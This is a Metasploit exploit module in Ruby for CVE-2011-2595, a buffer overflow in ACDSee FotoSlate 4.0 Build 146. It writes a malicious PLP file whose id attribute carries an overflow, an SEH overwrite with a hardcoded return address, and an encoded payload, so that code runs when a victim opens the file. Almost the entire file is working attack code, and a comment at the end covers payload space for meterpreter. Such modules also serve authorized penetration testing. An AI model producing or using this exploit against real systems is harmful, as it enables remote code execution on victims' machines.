##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ACDSee FotoSlate PLP File id Parameter Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via
          a specially crafted id parameter in a String element.  When viewing a malicious
          PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a
          buffer and execute arbitrary code. This exploit has been tested on systems such as
          Windows XP SP3, Windows Vista, and Windows 7.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Parvez Anwar', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2011-2595' ],
          [ 'OSVDB', '75425' ],
          [ 'BID', '49558' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          # 'Space'    => 4000,
          'BadChars' => "\x00\x22"
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'ACDSee FotoSlate 4.0 Build 146',
            {
              'Ret' => 0x263a5b57, # pop, pop, ret from ipwssl6.dll
              'Offset' => 1812,
              'TotalLength' => 5000
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-09-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.plp']),
      ]
    )
  end

  def exploit
    overflow = rand_text(target["Offset"])
    overflow << generate_seh_record(target.ret)
    overflow << payload.encoded
    overflow << rand_text_alpha(target["TotalLength"] - overflow.length)

    plp = <<~TEMPLATE
      <?xml version="1.0" encoding="ISO-8859-1"?>
      <ACDFotoSlateDocument15>
      <PageDefinition>
      <Template>
      <Version>3.0</Version>
      <Page>
      <Name>Letter</Name>
      <Properties>
      <String id="#{overflow}"></String>
      <String id="Width">8.500000IN</String>
      <String id="Height">11.000000IN</String>
      <String id="Orientation">Portrait</String>
      <Bool id="AutoRotate">FALSE</Bool>
      <Bool id="AutoFill">FALSE</Bool>
      </Properties>
      <Content>
      <Bool id="UseBGColor">FALSE</Bool>
      <Int id="BGImageType">0</Int>
      <String id="BGImageFile"></String>
      <Int id="BGColor">16777215</Int>
      </Content>
      </Page>
      <ToolList>
      <Group>
      <Tool>
      <Name>Image</Name>
      <Properties>
      <String id="XPos">0.500000IN</String>
      <String id="YPos">0.500000IN</String>
      <String id="Width">7.500000IN</String>
      <String id="Height">10.000000IN</String>
      <Float id="Tilt">0.000000</Float>
      </Properties>
      <Content>
      <Int id="ShapeType">0</Int>
      <Float id="RoundRectX">0.000000</Float>
      <Float id="RoundRectY">0.000000</Float>
      <Bool id="ShrinkToFit">FALSE</Bool>
      <Bool id="AutoRotate">FALSE</Bool>
      <Float id="BorderWidth">0.000000</Float>
      <Bool id="UseBGColor">FALSE</Bool>
      <Int id="BGColor">8454143</Int>
      <Bool id="DropShadow">FALSE</Bool>
      <Int id="DSColor">0</Int>
      <Bool id="BevelEdge">FALSE</Bool>
      <Bool id="Border">FALSE</Bool>
      <Int id="BorderColor">16711680</Int>
      <Bool id="IsLocked">FALSE</Bool>
      </Content>
      </Tool>
      </Group>
      </ToolList>
      </Template>
      <PageContent>
      <Version>3.0</Version>
      <Page>
      <Name>Letter</Name>
      <Content>
      <Bool id="UseBGColor">FALSE</Bool>
      <Int id="BGImageType">0</Int>
      <String id="BGImageFile"></String>
      <Int id="BGColor">16777215</Int>
      </Content>
      </Page>
      <ToolList>
      <Group>
      <Tool>
      <Name>Image</Name>
      <Content>
      <Int id="ShapeType">0</Int>
      <Float id="RoundRectX">0.000000</Float>
      <Float id="RoundRectY">0.000000</Float>
      <Bool id="ShrinkToFit">FALSE</Bool>
      <Bool id="AutoRotate">FALSE</Bool>
      <Float id="BorderWidth">0.000000</Float>
      <Bool id="UseBGColor">FALSE</Bool>
      <Int id="BGColor">8454143</Int>
      <Bool id="DropShadow">FALSE</Bool>
      <Int id="DSColor">0</Int>
      <Bool id="BevelEdge">FALSE</Bool>
      <Bool id="Border">FALSE</Bool>
      <Int id="BorderColor">16711680</Int>
      <Bool id="IsLocked">FALSE</Bool>
      </Content>
      </Tool>
      </Group>
      </ToolList>
      </PageContent>
      </PageDefinition>
      </ACDFotoSlateDocument15>
    TEMPLATE

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(plp)
  end
end

=begin
After SEH, we have ~0x23C3 bytes (9155 in decimal) of space for payload. But we need to avoid
using a long buffer in order to avoid the meterpreter possibly being broken.
=end